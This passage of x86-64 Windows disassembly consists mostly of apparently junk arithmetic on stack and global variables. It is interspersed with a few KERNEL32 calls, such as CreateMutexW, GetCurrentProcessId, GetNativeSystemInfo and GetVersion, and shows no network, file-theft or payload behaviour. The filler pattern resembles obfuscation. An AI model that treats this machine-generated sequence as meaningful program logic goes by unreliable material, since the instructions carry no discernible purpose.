and eax, ecx
mov word [rsp + 0xd2c], ax
mov rax, qword [rsp + 0x3e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd48]
and eax, ecx
mov rcx, qword [rsp + 0x4960]
mov word [rcx], ax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x54a8], rax
mov rax, qword [rsp + 0x4680]
mov rcx, qword [rsp + 0x38a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3358], rax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x54b0], rax
mov rax, qword [rsp + 0x3e40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5050], rax
movsx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018bf90]
mov word [rcx], ax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x54b8], rax
movzx eax, byte [rsp + 0x1bf]
imul eax, eax, 0x9f
mov rcx, qword [rsp + 0x43a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f8c]
movzx ecx, al
mov eax, dword [rsp + 0x2030]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0x54c0], rax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x1b0]
add eax, ecx
mov rcx, qword [rsp + 0x40e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2fa8]
mov qword [rsp + 0x54c8], rax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x52c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x5118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd04], ax
lea rax, [rsp + 0xc9c]
mov qword [0x14018c178], rax
mov rax, qword [rsp + 0x42d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a10], rax
movzx eax, word [rsp + 0x558]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x5128]
mov word [rcx], ax
lea rax, [rsp + 0xd44]
mov qword [rsp + 0x54d0], rax
mov rax, qword [rsp + 0x52c0]
mov rcx, qword [0x14018ace0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x42d8], rax
mov rax, qword [rsp + 0x4e10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1cb], al
lea rax, [rsp + 0x1f44]
mov qword [rsp + 0x54d8], rax
mov rax, qword [rsp + 0x4210]
mov rax, qword [rax]
mov rcx, qword [0x14018ad18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b0], rax
mov rax, qword [rsp + 0x48e8]
movzx eax, word [rax]
mov word [rsp + 0xda8], ax
mov rax, qword [rsp + 0x4730]
mov rcx, qword [rsp + 0x3de8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bec0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4af0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1cc]
mov rcx, qword [rsp + 0x3f90]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x165], al
movsx eax, word [0x14018bf48]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x958], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0xd54]
xor eax, ecx
mov rcx, qword [rsp + 0x5070]
mov word [rcx], ax
lea rax, [rsp + 0x5158]
mov qword [rsp + 0x54e0], rax
mov rax, qword [0x14018bfa0]
mov rcx, qword [rsp + 0x54a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
lea rax, [rsp + 0x1cb]
mov qword [rsp + 0x54e8], rax
mov rax, qword [rsp + 0x4b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
movzx eax, word [rsp + 0x3b4]
movzx ecx, word [rsp + 0xccc]
sub eax, ecx
mov rcx, qword [0x14018bef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5358]
mov rcx, qword [rsp + 0x4b08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
lea rax, [0x14018be90]
mov qword [rsp + 0x54f0], rax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4860]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52c0], rax
movzx eax, word [rsp + 0xd44]
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x4a40]
mov rcx, qword [0x14018bfa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43d0]
mov rcx, qword [rsp + 0x50c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x54f8], rax
mov rax, qword [rsp + 0x4478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fc0]
sar eax, cl
mov rcx, qword [rsp + 0x4138]
mov dword [rcx], eax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x5500], rax
lea rax, [rsp + 0xcec]
mov qword [0x14018c180], rax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x694], ax
mov rax, qword [rsp + 0x4948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x2f10]
movzx ecx, al
mov rax, qword [rsp + 0x4610]
shl rax, cl
mov qword [rsp + 0x39a8], rax
mov rax, qword [rsp + 0x44f0]
mov rcx, qword [rsp + 0x5398]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x5000]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c70]
mov qword [rcx], rax
movsx eax, word [0x14018be58]
mov rcx, qword [rsp + 0x52f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4528]
mov word [rcx], ax
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x5508], rax
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3390]
sar rax, cl
mov qword [0x14018ad58], rax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xccc]
sub eax, ecx
mov word [rsp + 0x694], ax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x5510], rax
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a0], rax
lea rax, [0x14018be48]
mov qword [rsp + 0x5518], rax
mov rax, qword [rsp + 0x5010]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x47c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4088]
mov byte [rcx], al
mov rax, qword [rsp + 0x4038]
mov rcx, qword [rsp + 0x51a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c40], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x5520], rax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4838]
mov qword [rsp + 0x5528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5528]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x20c4], eax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xd6c]
movsx ecx, word [0x14018bf08]
shl eax, cl
mov rcx, qword [0x14018bf90]
mov word [rcx], ax
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 1
movzx eax, word [rsp + 0xb58]
mov word [rsp + 0xdb0], ax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x694]
xor eax, ecx
mov rcx, qword [rsp + 0x4f90]
mov word [rcx], ax
movzx eax, word [rsp + 0x61c]
movzx ecx, word [rsp + 0xcb0]
or eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x4418]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x30c0], rax
mov rax, qword [rsp + 0x40a8]
mov rcx, qword [rsp + 0x4898]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20b0], eax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x5530], rax
movsx eax, word [rsp + 0xce4]
mov rcx, qword [rsp + 0x4828]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd58], ax
mov rax, qword [0x14018c028]
mov rcx, qword [rsp + 0x2bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bfb8]
mov qword [rcx], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x5538], rax
mov rax, qword [rsp + 0x48f0]
mov rcx, qword [0x14018be08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3280], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0x5540], rax
movzx eax, word [rsp + 0x97c]
movzx ecx, word [rsp + 0xd34]
and eax, ecx
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
lea rax, [rsp + 0x1f10]
mov qword [rsp + 0x5548], rax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x44e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
and eax, ecx
mov rcx, qword [rsp + 0x4510]
mov byte [rcx], al
mov rax, qword [rsp + 0x4408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
lea rax, [rsp + 0x2034]
mov qword [0x14018c188], rax
movsx eax, word [rsp + 0xdac]
movsx ecx, word [rsp + 0xda0]
xor eax, ecx
mov rcx, qword [rsp + 0x4d30]
mov word [rcx], ax
movzx eax, word [rsp + 0xcc0]
mov word [rsp + 0xdb4], ax
mov rax, qword [rsp + 0x5258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4948]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a0]
shl rax, cl
mov qword [rsp + 0x33f8], rax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x3f68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4898]
mov qword [rsp + 0x5558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5558]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x20ac], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x5560], rax
movsx eax, word [rsp + 0xd74]
mov rcx, qword [0x14018beb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3f8], ax
lea rax, [rsp + 0xd80]
mov qword [0x14018c190], rax
mov rax, qword [rsp + 0x51e8]
mov rcx, qword [rsp + 0x32d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3880], rax
lea rax, [rsp + 0x3dc]
mov qword [rsp + 0x5568], rax
mov rax, qword [rsp + 0x42c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x20e0], eax
movsx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0x42b0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
mov rcx, qword [0x14018be10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x5570], rax
movsx eax, word [rsp + 0xd44]
movsx ecx, word [0x14018c080]
add eax, ecx
mov rcx, qword [rsp + 0x5390]
mov word [rcx], ax
mov rax, qword [rsp + 0x4778]
movzx eax, word [rax]
mov word [0x14018c198], ax
lea rax, [rsp + 0x33f8]
mov qword [rsp + 0x5578], rax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x44d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f50]
mov qword [rcx], rax
mov rax, qword [0x14018be20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov word [rsp + 0xbb4], ax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb8]
xor eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4450]
mov qword [rsp + 0x5580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5580]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c18]
mov qword [rcx], rax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x4468]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2098], eax
mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
mov qword [rsp + 0x5590], rax
mov rax, qword [0x14018c150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4be0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bff0]
mov word [rcx], ax
movzx eax, word [rsp + 0xcb0]
movzx ecx, word [rsp + 0x8fc]
add eax, ecx
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x4a58]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4af0]
mov dword [rcx], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x5598], rax
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b98], rax
lea rax, [0x14018be10]
mov qword [rsp + 0x55a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x55a8], rax
mov rax, qword [rsp + 0x4420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x203c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2074], eax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x1b7]
sub eax, ecx
mov rcx, qword [rsp + 0x45b0]
mov byte [rcx], al
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x55b0], rax
movzx eax, word [rsp + 0x5d4]
mov word [0x14018c19c], ax
mov rax, qword [rsp + 0x53f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
sar rax, cl
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
lea rax, [rsp + 0xd94]
mov qword [rsp + 0x55b8], rax
movsx eax, word [0x14018c074]
movsx ecx, word [rsp + 0xd84]
add eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x55c0], rax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [0x14018bdc7]
and eax, ecx
mov rcx, qword [rsp + 0x47d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1fd8]
movzx ecx, al
mov eax, dword [rsp + 0x2040]
shl eax, cl
mov dword [rsp + 0x1f7c], eax
lea rax, [rsp + 0x43d8]
mov qword [rsp + 0x55c8], rax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
or eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x5020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x55d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x55d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1cb8], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
add eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x55d8], rax
mov rax, qword [rsp + 0x4b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov byte [rsp + 0x1c9], al
mov eax, dword [rsp + 0x1c3c]
mov dword [rsp + 0x20e4], eax
mov rax, qword [rsp + 0x4418]
mov rcx, qword [rsp + 0x44f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
movsx eax, word [0x14018c030]
mov rcx, qword [rsp + 0x40d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4848]
mov word [rcx], ax
mov rax, qword [rsp + 0x4728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xad4]
sar eax, cl
mov rcx, qword [0x14018bfd0]
mov word [rcx], ax
lea rax, [0x14018c168]
mov qword [rsp + 0x55e0], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x41a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4878], rax
lea rax, [rsp + 0x3de8]
mov qword [rsp + 0x55e8], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xd40]
sub eax, ecx
mov word [rsp + 0x69c], ax
mov rax, qword [rsp + 0x41c0]
mov ecx, dword [rsp + 0x1c80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1e0c], eax
lea rax, [rsp + 0x4c60]
mov qword [rsp + 0x55f0], rax
mov rax, qword [rsp + 0x53d8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdc6]
or eax, ecx
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x1b3]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5180]
mov qword [rsp + 0x55f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x55f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4988]
mov dword [rcx], eax
lea rax, [rsp + 0xc88]
mov qword [0x14018c1a0], rax
lea rax, [rsp + 0x558]
mov qword [rsp + 0x5600], rax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b40]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3630]
mov rcx, qword [rsp + 0x44d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
lea rax, [rsp + 0x20c4]
mov qword [rsp + 0x5608], rax
mov rax, qword [rsp + 0x5490]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3220]
shr rax, cl
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov byte [rsp + 0x101], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fa4], eax
movsx eax, word [rsp + 0xc7c]
movsx ecx, word [rsp + 0xc6c]
and eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov word [rcx], ax
mov rax, qword [rsp + 0x4588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
lea rax, [0x14018c018]
mov qword [0x14018c1a8], rax
lea rax, [rsp + 0xab8]
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x40b0]
mov rcx, qword [rsp + 0x32a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3de8], rax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x5618], rax
movsx eax, byte [0x14018bdc7]
movsx ecx, byte [rsp + 0x1c2]
sar eax, cl
mov rcx, qword [rsp + 0x4bd8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x2024]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x43f8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [0x14018acda]
mov qword [rsp + 0x5620], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x50d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20e8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2080], eax
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x5628], rax
movsx eax, word [rsp + 0xbb4]
movsx ecx, word [0x14018c170]
or eax, ecx
mov word [0x14018c030], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc70], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x45a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4850]
mov word [rcx], ax
lea rax, [0x14018c070]
mov qword [rsp + 0x5630], rax
mov rax, qword [rsp + 0x52f8]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4440], rax
lea rax, [rsp + 0x1ec4]
mov qword [rsp + 0x5638], rax
movsx eax, byte [rsp + 0x1c0]
movsx ecx, byte [rsp + 0x18d]
sar eax, cl
mov rcx, qword [rsp + 0x49b0]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x5640], rax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4778]
mov word [rcx], ax
mov rax, qword [rsp + 0x5578]
mov rcx, qword [rsp + 0x3880]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c1a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x48b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e78]
mov qword [rcx], rax
lea rax, [rsp + 0x5540]
mov qword [rsp + 0x5648], rax
mov rax, qword [0x14018c128]
mov rcx, qword [rsp + 0x4428]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x5148]
mov rcx, qword [rsp + 0x4d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c40], eax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x4630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
lea rax, [rsp + 0x3220]
mov qword [rsp + 0x5658], rax
mov rax, qword [rsp + 0x4338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1a0], al
mov rax, qword [0x14018c188]
mov rcx, qword [rsp + 0x4008]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14018ad60], eax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x5660], rax
mov rax, qword [rsp + 0x4be0]
movsx eax, word [rax]
mov rcx, qword [0x14018beb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x69c], ax
movzx eax, word [rsp + 0x8fc]
movzx ecx, word [rsp + 0xb78]
or eax, ecx
mov rcx, qword [rsp + 0x53c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x54a0]
mov qword [rsp + 0x5668], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [0x14018bdc6]
sub eax, ecx
mov rcx, qword [rsp + 0x51b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2024]
mov ecx, dword [rsp + 0x20a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e7c], eax
mov rax, qword [rsp + 0x5178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4568], rax
lea rax, [0x14018c080]
mov qword [rsp + 0x5670], rax
lea rax, [rsp + 0x3b4]
mov qword [0x14018c1b0], rax
mov rax, qword [rsp + 0x5578]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4690]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8f4]
movzx ecx, word [0x14018c174]
sar eax, cl
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x4890]
movzx eax, byte [rax]
mov byte [rsp + 0x1d1], al
mov eax, dword [rsp + 0x2044]
mov ecx, dword [rsp + 0x1f10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5130]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19f], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20e8], eax
mov eax, dword [rsp + 0x1e0c]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
mov rax, qword [0x14018c098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x4f30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
sub eax, ecx
mov rcx, qword [0x14018be68]
mov word [rcx], ax
mov rax, qword [0x14018bdf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3098]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bb0]
mov qword [rcx], rax
lea rax, [rsp + 0x3630]
mov qword [rsp + 0x5680], rax
movsx eax, word [rsp + 0xdb4]
mov rcx, qword [rsp + 0x4538]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcac], ax
movzx eax, word [rsp + 0xd10]
movzx ecx, word [rsp + 0x3c0]
shl eax, cl
mov word [rsp + 0xc9c], ax
lea rax, [rsp + 0x43d8]
mov qword [rsp + 0x5688], rax
mov rax, qword [rsp + 0x49b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x45a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x47e8]
mov rcx, qword [rsp + 0x4db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
